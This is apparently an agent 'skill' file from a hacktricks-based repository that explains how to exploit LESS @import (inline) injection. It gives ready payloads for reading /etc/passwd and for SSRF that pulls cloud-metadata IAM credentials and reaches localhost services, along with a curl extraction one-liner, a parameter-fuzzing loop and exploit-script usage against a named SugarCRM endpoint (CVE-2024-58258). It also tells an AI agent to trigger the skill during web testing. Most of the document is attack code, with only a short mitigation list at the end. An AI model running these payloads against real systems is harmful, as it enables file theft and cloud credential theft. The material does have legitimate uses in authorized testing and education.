Hacktricks-skills less-code-injection

Exploit LESS code injection vulnerabilities to perform SSRF and local file read attacks. Use this skill whenever you need to test for CSS preprocessor injection, identify vulnerable endpoints that process user input through LESS compilers, or extract sensitive files and cloud metadata via @import (inline) directives. Trigger this skill for any web application security testing involving CSS generation, stylesheet preview endpoints, or when you suspect user-controlled input reaches a LESS processor.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/xs-search/css-injection/less-code-injection/SKILL.MD
source content

LESS Code Injection Exploitation

Overview

LESS is a CSS pre-processor that supports the

@import
directive. When the
(inline)
option is used, the LESS engine fetches and embeds the referenced resource's contents into the compiled CSS. If user-controlled input is concatenated into a string parsed by the LESS compiler, attackers can inject arbitrary LESS code to:

  • Read local files via
    file://
    protocol (Local File Inclusion)
  • Perform SSRF to access internal networks or cloud metadata services

Vulnerability Pattern

User Input → String Concatenation → LESS Compiler → @import (inline) → Arbitrary Resource Fetch

Exploitation Workflow

Step 1: Identify the Injection Point

Look for parameters that are embedded into stylesheet strings processed by LESS:

  • URL parameters like
    ?lm=
    ,
    ?css=
    ,
    ?style=
  • POST body fields containing CSS or style references
  • Endpoints with paths like
    /css/preview
    ,
    /style/generate
    ,
    /theme/customize

Common indicators:

  • Response contains compiled CSS
  • Parameter name suggests "last modified" or "cache busting" (e.g.,
    lm
    ,
    cache
    ,
    v
    )
  • Application has custom theming or CSS preview functionality

Step 2: Craft the Injection Payload

The basic injection pattern:

; @import (inline) '<RESOURCE_URL>'; @import (inline) 'data:text/plain,@@END@@'; //

Components:

  • ;
    - Terminates the previous CSS declaration
  • }
    - Closes any open block (if needed)
  • @import (inline) '<URL>'
    - Fetches and inlines the resource
  • data:text/plain,@@END@@
    - Marker to easily extract the fetched content
  • //
    - Comment to close the injection

Step 3: Execute the Attack

Local File Read

1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //

The file contents appear in the HTTP response before the

@@END@@
marker.

SSRF - Cloud Metadata

1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //

SSRF - Internal Network Discovery

1; @import (inline) "http://169.254.169.254/latest/meta-data/";
@import (inline) 'data:text/plain,@@END@@'; //

SSRF - Internal Service Enumeration

1; @import (inline) "http://localhost:8080/admin";
@import (inline) 'data:text/plain,@@END@@'; //

Step 4: Extract the Response

Parse the HTTP response to find content between the marker and the end of the inlined section:

# Extract content after @@END@@ marker
curl -s "<URL>?<PARAM>=<PAYLOAD>" | sed -n 's/.*@@END@@\(.*\)/\1/p'

# Or use grep with context
curl -s "<URL>?<PARAM>=<PAYLOAD>" | grep -A 100 '@@END@@'

Automated Exploitation

Use the

exploit-less-injection.sh
script for automated testing:

./exploit-less-injection.sh <TARGET_URL> <RESOURCE_PATH>

Examples:

# Read local file
./exploit-less-injection.sh "http://target/sugarcrm/rest/v10/css/preview?baseUrl=1&lm=" "/etc/passwd"

# SSRF cloud metadata
./exploit-less-injection.sh "http://target/sugarcrm/rest/v10/css/preview?baseUrl=1&lm=" "http://169.254.169.254/latest/meta-data/"

# Test internal service
./exploit-less-injection.sh "http://target/sugarcrm/rest/v10/css/preview?baseUrl=1&lm=" "http://localhost:6379"

Real-World Cases

ProductVulnerable EndpointCVEImpact
SugarCRM ≤ 14.0.0
/rest/v10/css/preview?lm=
CVE-2024-58258Unauthenticated SSRF & local file read

Detection Techniques

Manual Testing

  1. Fuzz the parameter with LESS syntax:

    ?lm=1; @import (inline) 'data:text/plain,TEST';
    

    If

    TEST
    appears in the response, the injection is possible.

  2. Check for error messages from the LESS compiler when injecting malformed syntax.

  3. Look for compiled CSS in responses that includes your test marker.

Automated Detection

# Quick test for LESS injection
for param in lm css style cache v; do
  curl -s "http://target/endpoint?${param}=1;@import(inline)'data:text/plain,INJECTED';" | grep -q INJECTED && echo "VULNERABLE: $param"
done

Mitigation Recommendations

  1. Never concatenate user input into LESS strings
  2. Use parameterized LESS compilation with strict input validation
  3. Disable
    @import (inline)
    if not required
  4. Implement allowlists for import paths
  5. Run LESS compilation in a sandbox with network restrictions

References